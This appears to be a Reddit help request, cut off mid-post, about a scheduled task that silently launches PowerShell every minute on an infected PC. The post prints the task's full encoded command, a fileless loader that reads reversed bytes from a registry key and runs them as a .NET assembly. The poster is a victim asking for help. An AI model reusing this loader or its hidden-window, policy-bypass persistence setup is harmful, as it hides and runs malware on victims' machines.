Sept. 25, 2023, 8:26 a.m. | /u/Doge-Believer

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Hi,My friend complained that some blank window is opening frequently.Initially i searched with Malwarebytes and it found some malware and mining scripts, i deleted them and re started PC but still powershell is opening automatically every minute. Nothing in startup.

I found a malware in task scheduler.

It is running "C:\\WINDOWS\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" every minuteWith these arguments

`-WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -NoExit -Enc WwBiAHkAdABlAFsAXQBdACAAJABiAHkAdABlAHMAIAA9ACAAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwAagBhAGsAZQBmAFwAKQAuAGcAZgBmAGYAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABiAHkAdABlAHMAKQA7ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYgB5AHQAZQBzACkALgBFAG4AdAByAHkAUABvAGkAbgB0AC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAkAG4AdQBsAGwAKQA=`

I tried to decrypt using base64 ~~but didnt work~~ (working if i use UTF16-LE to decode).

I …

decode found malware malwarebytes mining powershell scheduler scripts startup task task scheduler window

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